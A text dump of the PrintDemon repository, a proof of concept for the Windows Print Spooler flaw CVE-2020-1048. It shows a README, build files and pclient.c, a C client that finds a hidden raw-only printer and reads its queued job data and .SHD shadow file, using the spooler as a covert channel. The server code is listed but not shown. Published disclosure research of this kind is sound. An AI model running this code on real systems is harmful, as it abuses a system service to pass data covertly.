Full Code of ionescu007/PrintDemon for AI

master abb71ae188f5 cached
9 files
46.4 KB
12.7k tokens
3 symbols
1 requests
Download .txt
Repository: ionescu007/PrintDemon
Branch: master
Commit: abb71ae188f5
Files: 9
Total size: 46.4 KB

Directory structure:
gitextract_wetu7rbf/

├── .gitignore
├── LICENSE
├── README.md
├── printclient/
│   ├── pclient.c
│   └── printclient.vcxproj
├── printdemon.sln
├── printserver/
│   ├── printserver.vcxproj
│   └── pserver.c
└── shdfile4.h

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
##
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore

# User-specific files
*.rsuser
*.suo
*.user
*.userosscache
*.sln.docstates

# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs

# Mono auto generated files
mono_crash.*

# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
[Aa][Rr][Mm]/
[Aa][Rr][Mm]64/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
[Ll]ogs/

# Visual Studio 2015/2017 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/

# Visual Studio 2017 auto generated files
Generated\ Files/

# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*

# NUnit
*.VisualState.xml
TestResult.xml
nunit-*.xml

# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c

# Benchmark Results
BenchmarkDotNet.Artifacts/

# .NET Core
project.lock.json
project.fragment.lock.json
artifacts/

# StyleCop
StyleCopReport.xml

# Files built by Visual Studio
*_i.c
*_p.c
*_h.h
*.ilk
*.meta
*.obj
*.iobj
*.pch
*.pdb
*.ipdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*_wpftmp.csproj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc

# Chutzpah Test files
_Chutzpah*

# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb

# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap

# Visual Studio Trace Files
*.e2e

# TFS 2012 Local Workspace
$tf/

# Guidance Automation Toolkit
*.gpState

# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user

# TeamCity is a build add-in
_TeamCity*

# DotCover is a Code Coverage Tool
*.dotCover

# AxoCover is a Code Coverage Tool
.axoCover/*
!.axoCover/settings.json

# Visual Studio code coverage results
*.coverage
*.coveragexml

# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*

# MightyMoose
*.mm.*
AutoTest.Net/

# Web workbench (sass)
.sass-cache/

# Installshield output folder
[Ee]xpress/

# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html

# Click-Once directory
publish/

# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# Note: Comment the next line if you want to checkin your web deploy settings,
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj

# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/

# NuGet Packages
*.nupkg
# NuGet Symbol Packages
*.snupkg
# The packages folder can be ignored because of Package Restore
**/[Pp]ackages/*
# except build/, which is used as an MSBuild target.
!**/[Pp]ackages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/[Pp]ackages/repositories.config
# NuGet v3's project.json files produces more ignorable files
*.nuget.props
*.nuget.targets

# Microsoft Azure Build Output
csx/
*.build.csdef

# Microsoft Azure Emulator
ecf/
rcf/

# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
*.appx
*.appxbundle
*.appxupload

# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!?*.[Cc]ache/

# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
orleans.codegen.cs

# Including strong name files can present a security risk
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
#*.snk

# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/

# RIA/Silverlight projects
Generated_Code/

# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
ServiceFabricBackup/
*.rptproj.bak

# SQL Server files
*.mdf
*.ldf
*.ndf

# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
*.rptproj.rsuser
*- [Bb]ackup.rdl
*- [Bb]ackup ([0-9]).rdl
*- [Bb]ackup ([0-9][0-9]).rdl

# Microsoft Fakes
FakesAssemblies/

# GhostDoc plugin setting file
*.GhostDoc.xml

# Node.js Tools for Visual Studio
.ntvs_analysis.dat
node_modules/

# Visual Studio 6 build log
*.plg

# Visual Studio 6 workspace options file
*.opt

# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
*.vbw

# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions

# Paket dependency manager
.paket/paket.exe
paket-files/

# FAKE - F# Make
.fake/

# CodeRush personal settings
.cr/personal

# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc

# Cake - Uncomment if you are using it
# tools/**
# !tools/packages.config

# Tabs Studio
*.tss

# Telerik's JustMock configuration file
*.jmconfig

# BizTalk build output
*.btp.cs
*.btm.cs
*.odx.cs
*.xsd.cs

# OpenCover UI analysis results
OpenCover/

# Azure Stream Analytics local run output
ASALocalRun/

# MSBuild Binary and Structured Log
*.binlog

# NVidia Nsight GPU debugger configuration file
*.nvuser

# MFractors (Xamarin productivity tool) working folder
.mfractor/

# Local History for Visual Studio
.localhistory/

# BeatPulse healthcheck temp database
healthchecksdb

# Backup folder for Package Reference Convert tool in Visual Studio 2017
MigrationBackup/

# Ionide (cross platform F# VS Code tools) working folder
.ionide/


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2020 Alex Ionescu

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# PrintDemon (CVE-2020-1048)

PrintDemon is a PoC for a series of issues in the Windows Print Spooler service, as well as potetial misuses of the functionality. Please read https://windows-internals.com/printdemon-cve-2020-1048/ for all of the information.


================================================
FILE: printclient/pclient.c
================================================
#include <windows.h>
#include <stdio.h>
#include "..\shdfile4.h"

INT
main(
    _In_ INT ArgumentCount,
    _In_ PCHAR Arguments[]
    )
{
    PRINTER_DEFAULTS printerDefaults;
    BOOL bRes;
    HANDLE hPrinter;
    PJOB_INFO_4 jobInfo;
    DWORD dwNeeded, dwReturned;
    PPRINTER_INFO_4 printerInfo, currentInfo;
    PPRINTER_INFO_2 printerFullInfo;
    LPWSTR printerName;
    WCHAR jobName[64];
    HANDLE hJob;
    DWORD dwError;
    PCHAR printerData;
    WCHAR spoolDir[MAX_PATH];
    SHADOWFILE_4 shadowFileData;
    PSHADOWFILE_4 pShadowFileData;

    //
    // First see how much space we need
    //
    dwNeeded = 0;
    dwReturned = 0;
    bRes = EnumPrinters(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &dwNeeded, &dwReturned);
    if ((bRes != FALSE) || (dwNeeded == 0))
    {
        printf("Error: %lx\n", GetLastError());
        return -1;
    }

    //
    // Allocate it
    //
    printerInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
    if (printerInfo == NULL)
    {
        printf("Error: %lx\n", GetLastError());
        return NULL;
    }

    //
    // Now enumerate the printer
    //
    bRes = EnumPrinters(PRINTER_ENUM_LOCAL,
                        NULL,
                        4,
                        (LPBYTE)printerInfo,
                        dwNeeded,
                        &dwNeeded,
                        &dwReturned);
    if (bRes == FALSE)
    {
        printf("Error: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, printerInfo);
        return -1;
    }
    
    //
    // Enumerate all the printers
    //
    printerName = NULL;
    currentInfo = printerInfo;
    while (dwReturned--)
    {
        //
        // Check for attributes that indicate ours
        //
        if ((currentInfo->Attributes & (PRINTER_ATTRIBUTE_HIDDEN |
                                        PRINTER_ATTRIBUTE_RAW_ONLY |
                                        PRINTER_ATTRIBUTE_LOCAL)) ==
                                       (PRINTER_ATTRIBUTE_HIDDEN |
                                        PRINTER_ATTRIBUTE_RAW_ONLY |
                                        PRINTER_ATTRIBUTE_LOCAL))
        {
            //
            // We found it!
            //
            printf("[+] Found IPC Printer: %S (status = %lx)\n",
                    currentInfo->pPrinterName, currentInfo->Attributes);
            printerName = currentInfo->pPrinterName;
            break;
        }
        currentInfo++;
    }

    //
    // Check if we found our printer
    //
    if (printerName == NULL)
    {
        printf("[-] Couldn't find IPC printer!\n");
        return -1;
    }

    //
    // We did, go open it, and then free the name/info structure
    //
    printerDefaults.pDatatype = NULL;
    printerDefaults.pDevMode = NULL;
    printerDefaults.DesiredAccess = PRINTER_ALL_ACCESS;
    bRes = OpenPrinter(printerName, &hPrinter, &printerDefaults);
    HeapFree(GetProcessHeap(), 0, printerInfo);
    if (bRes == FALSE)
    {
        printf("Failed to open printer: %lx\n", GetLastError());
        return -1;
    }

    //
    // Check how much space we needed for the printer information
    //
    bRes = GetPrinter(hPrinter, 2, NULL, 0, &dwNeeded);
    if (bRes != FALSE)
    {
        printf("Unexpected success querying printer\n");
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Allocate it
    //
    printerFullInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
    if (printerFullInfo == NULL)
    {
        printf("Out of memory\n");
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Now query it
    //
    bRes = GetPrinter(hPrinter,
                      2,
                      (LPBYTE)printerFullInfo,
                      dwNeeded,
                      &dwNeeded);
    if (bRes == FALSE)
    {
        printf("Failed to query printer: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, printerFullInfo);
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Make sure someone published some data to it
    //
    if (printerFullInfo->cJobs != 1)
    {
        printf("Printer doesn't have an active job: %lx\n", printerFullInfo->cJobs);
        HeapFree(GetProcessHeap(), 0, printerFullInfo);
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Enumerate the first (and only) job -- see how much space is needed for it
    //
    HeapFree(GetProcessHeap(), 0, printerFullInfo);
    bRes = EnumJobs(hPrinter, 0, 1, 4, NULL, 0, &dwNeeded, &dwReturned);
    if ((bRes != FALSE) && (dwReturned != 0))
    {
        printf("Failed to enumerate jobs: %lx\n", GetLastError());
        ClosePrinter(hPrinter);
        return -1;
    }
    else if (dwNeeded == 0)
    {
        printf("[-] No printer job active!\n");
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Allocate space for it
    //
    jobInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
    if (jobInfo == NULL)
    {
        printf("Out of memory\n");
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Now enumerate information on this job
    //
    bRes = EnumJobs(hPrinter,
                    0,
                    1,
                    4,
                    (LPBYTE)jobInfo,
                    dwNeeded,
                    &dwNeeded,
                    &dwReturned);
    if (bRes == FALSE)
    {
        printf("Error enumerating job: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, jobInfo);
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Print some information on the job based on the API
    //
    printf("[+] Found IPC Job\n");
    printf("[.]\tJob ID: %d\n", jobInfo->JobId);
    printf("[.]\tQueued by: %S on %S\n",
           jobInfo->pUserName, jobInfo->pMachineName);
    printf("[.]\tSD: %p\n", jobInfo->pSecurityDescriptor);
    printf("[.]\tDocument Name: %S and type: %S\n",
           jobInfo->pDocument, jobInfo->pDatatype);
    printf("[.]\tJob Status: %lx (%S)\n",
           jobInfo->Status, jobInfo->pStatus);
    printf("[.]\tPriority: %d Position: %d\n",
           jobInfo->Priority, jobInfo->Position);
    printf("[.]\tData Size: %lld bytes (%d pages total, %d printed so far)\n",
           (DWORD64)jobInfo->SizeHigh << 32ULL | jobInfo->Size,
           jobInfo->TotalPages, jobInfo->PagesPrinted);
    printf("[.]\tTime: %d Start Time: %d End Time: %d\n",
           jobInfo->Time, jobInfo->StartTime, jobInfo->UntilTime);
    printf("[.]\tSubmitted on %d/%d/%d at %d:%d:%d.%d\n",
           jobInfo->Submitted.wMonth, jobInfo->Submitted.wDay, jobInfo->Submitted.wYear,
           jobInfo->Submitted.wHour, jobInfo->Submitted.wMinute, jobInfo->Submitted.wSecond,
           jobInfo->Submitted.wMilliseconds);

    //
    // Get the spooler directory
    //
    dwError = GetPrinterData(hPrinter,
                             SPLREG_DEFAULT_SPOOL_DIRECTORY,
                             NULL,
                             (LPBYTE)spoolDir,
                             sizeof(spoolDir),
                             &dwNeeded);
    if (dwError != ERROR_SUCCESS)
    {
        printf("Failed getting spooler directory: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, jobInfo);
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Done with the printer
    //
    ClosePrinter(hPrinter);

    //
    // Open the shadow file based on the expected name
    //
    HANDLE hShadowFile;
    WCHAR shadowFileName[MAX_PATH];
    wsprintf(shadowFileName, L"%s\\%05d.SHD", spoolDir, jobInfo->JobId);
    printf("[.] Opening %S\n", shadowFileName);
    hShadowFile = CreateFile(shadowFileName,
                             GENERIC_READ,
                             0,
                             NULL,
                             OPEN_EXISTING,
                             FILE_ATTRIBUTE_NORMAL,
                             NULL);
    if (hShadowFile == INVALID_HANDLE_VALUE)
    {
        printf("[-] Couldn't find shadow file (it can have any name it wants): %lx\n",
                GetLastError());
        HeapFree(GetProcessHeap(), 0, jobInfo);
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // Read the shadow file
    //
    bRes = ReadFile(hShadowFile,
                    &shadowFileData,
                    sizeof(shadowFileData),
                    &dwReturned,
                    NULL);
    if ((bRes == FALSE) || (dwReturned != sizeof(shadowFileData)))
    {
        printf("[-] Error reading shadow file: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, jobInfo);
        CloseHandle(hShadowFile);
        ClosePrinter(hPrinter);
        return -1;
    }

    //
    // We only support Version 4
    //
    if ((shadowFileData.Version != SF_VERSION_4) ||
        (shadowFileData.HeaderSize != sizeof(shadowFileData)) ||
        (shadowFileData.signature != SF_SIGNATURE_4))
    {
        printf("[-] Unrecognized shadow file format\n");
        HeapFree(GetProcessHeap(), 0, jobInfo);
        CloseHandle(hShadowFile);
        return -1;
    }

    //
    // Make sure it's for this job
    //
    if (shadowFileData.JobId != jobInfo->JobId)
    {
        printf("[-] Job ID mismatch: %d\n", shadowFileData.JobId);
        HeapFree(GetProcessHeap(), 0, jobInfo);
        CloseHandle(hShadowFile);
        return -1;
    }
 
    //
    // Get the size of the shadow spool file
    //
    dwNeeded = GetFileSize(hShadowFile, NULL);
    if (dwNeeded == 0)
    {
        printf("Error getting file size: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, jobInfo);
        CloseHandle(hShadowFile);
        return -1;
    }

    //
    // Allocate data for it
    //
    pShadowFileData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNeeded);
    if (pShadowFileData == NULL)
    {
        printf("Out of memory\n");
        HeapFree(GetProcessHeap(), 0, jobInfo);
        CloseHandle(hShadowFile);
        return -1;
    }

    //
    // Go back to the start
    //
    SetFilePointer(hShadowFile, 0, NULL, SEEK_SET);

    //
    // Read the full file this time around
    //
    bRes = ReadFile(hShadowFile,
                    pShadowFileData,
                    dwNeeded,
                    &dwReturned,
                    NULL);
    if ((bRes == FALSE) || (dwReturned != dwNeeded))
    {
        printf("[-] Error reading shadow file: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, jobInfo);
        CloseHandle(hShadowFile);
        return -1;
    }

    //
    // We no longer need the shadow file
    //
    CloseHandle(hShadowFile);

    //
    // Print the data from the shadow file
    //
    printf("[+] Found Shadow File Job\n");
    printf("[.]\tJob ID: %d\n", pShadowFileData->JobId);
    printf("[.]\tQueued by: %S on %S\n",
           (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pUser),
           (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pMachineName));
    printf("[.]\tSD: %p\n", (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pSecurityDescriptor));
    printf("[.]\tDocument Name: %S and type: %S\n",
           (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pDocument),
           (PWCHAR)((ULONG_PTR)pShadowFileData + (ULONG_PTR)pShadowFileData->pDatatype));
    printf("[.]\tJob Status: %lx\n",
           pShadowFileData->Status);
    printf("[.]\tPriority: %d\n",
           pShadowFileData->Priority);
    printf("[.]\tData Size: %lld bytes (%d pages total)\n",
           (DWORD64)pShadowFileData->SizeHigh << 32ULL | pShadowFileData->Size,
           pShadowFileData->cPages);
    printf("[.]\tStart Time: %d End Time: %d\n",
            pShadowFileData->StartTime, pShadowFileData->UntilTime);
    printf("[.]\tSubmitted on %d/%d/%d at %d:%d:%d.%d\n",
           pShadowFileData->Submitted.wMonth, pShadowFileData->Submitted.wDay, pShadowFileData->Submitted.wYear,
           pShadowFileData->Submitted.wHour, pShadowFileData->Submitted.wMinute, pShadowFileData->Submitted.wSecond,
           pShadowFileData->Submitted.wMilliseconds);

    //
    // Open the print job
    //
    wsprintf(jobName, L"%s,Job %d", jobInfo->pPrinterName, jobInfo->JobId);
    bRes = OpenPrinter(jobName, &hJob, NULL);
    if (bRes == FALSE)
    {
        printf("Failed to open printer job: %lx\n", GetLastError());
        return -1;
    }

    //
    // Allocate space for the printer data
    //
    printerData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, jobInfo->Size);
    if (printerData == NULL)
    {
        printf("Out of memory\n");
        HeapFree(GetProcessHeap(), 0, jobInfo);
        ClosePrinter(hJob);
        return -1;
    }

    //
    // Read printer data
    //
    printf("[.] Reading %d bytes of data from printer\n", jobInfo->Size);
    bRes = ReadPrinter(hJob, printerData, jobInfo->Size, &dwNeeded);
    if (bRes == FALSE)
    {
        printf("Failed to read printer data: %lx\n", GetLastError());
        HeapFree(GetProcessHeap(), 0, printerData);
        HeapFree(GetProcessHeap(), 0, jobInfo);
        ClosePrinter(hJob);
        return -1;
    }

    //
    // Print it out (assume it's a string)
    //
    printf("[+] Printer Data: %s\n", printerData);

    //
    // All done here
    //
    HeapFree(GetProcessHeap(), 0, printerData);
    HeapFree(GetProcessHeap(), 0, jobInfo);
    ClosePrinter(hJob);
    return 0;
}



================================================
FILE: printclient/printclient.vcxproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <ItemGroup Label="ProjectConfigurations">
    <ProjectConfiguration Include="Debug|Win32">
      <Configuration>Debug</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|Win32">
      <Configuration>Release</Configuration>
      <Platform>Win32</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Debug|x64">
      <Configuration>Debug</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
    <ProjectConfiguration Include="Release|x64">
      <Configuration>Release</Configuration>
      <Platform>x64</Platform>
    </ProjectConfiguration>
  </ItemGroup>
  <PropertyGroup Label="Globals">
    <VCProjectVersion>16.0</VCProjectVersion>
    <Keyword>Win32Proj</Keyword>
    <ProjectGuid>{26e2f7f8-6626-4f1c-8f23-26baa7253cb2}</ProjectGuid>
    <RootNamespace>printclient</RootNamespace>
    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>true</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
    <ConfigurationType>Application</ConfigurationType>
    <UseDebugLibraries>false</UseDebugLibraries>
    <PlatformToolset>v142</PlatformToolset>
    <CharacterSet>Unicode</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
  <ImportGroup Label="ExtensionSettings">
  </ImportGroup>
  <ImportGroup Label="Shared">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
  </ImportGroup>
  <PropertyGroup Label="UserMacros" />
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <LinkIncremental>true</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <LinkIncremental>true</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <LinkIncremental>false</LinkIncremental>
  </PropertyGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
    <ClCompile>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
    <ClCompile>
      <PrecompiledHeader>
      </PrecompiledHeader>
      <WarningLevel>Level3</WarningLevel>
      <FunctionLevelLinking>true</FunctionLevelLinking>
      <IntrinsicFunctions>true</IntrinsicFunctions>
      <SDLCheck>true</SDLCheck>
      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
      <ConformanceMode>true</ConformanceMode>
    </ClCompile>
    <Link>
      <SubSystem>Console</SubSystem>
      <EnableCOMDATFolding>true</EnableCOMDATFolding>
      <OptimizeReferences>true</OptimizeReferences>
      <GenerateDebugInformation>true</GenerateDebugInformation>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
    <ClCompile Include="pclient.c" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
  <ImportGroup Label="ExtensionTargets">
  </ImportGroup>
</Project>

================================================
FILE: printdemon.sln
================================================

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29911.98
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "printserver", "printserver\printserver.vcxproj", "{B18A8548-199C-48BF-981B-18B8CA43FA9A}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "printclient", "printclient\printclient.vcxproj", "{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|x64 = Debug|x64
		Debug|x86 = Debug|x86
		Release|x64 = Release|x64
		Release|x86 = Release|x86
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x64.ActiveCfg = Debug|x64
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x64.Build.0 = Debug|x64
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x86.ActiveCfg = Debug|Win32
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Debug|x86.Build.0 = Debug|Win32
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x64.ActiveCfg = Release|x64
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x64.Build.0 = Release|x64
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x86.ActiveCfg = Release|Win32
		{B18A8548-199C-48BF-981B-18B8CA43FA9A}.Release|x86.Build.0 = Release|Win32
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x64.ActiveCfg = Debug|x64
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x64.Build.0 = Debug|x64
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x86.ActiveCfg = Debug|Win32
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Debug|x86.Build.0 = Debug|Win32
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x64.ActiveCfg = Release|x64
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x64.Build.0 = Release|x64
		{26E2F7F8-6626-4F1C-8F23-26BAA7253CB2}.Release|x86.ActiveCfg = Release|Win32
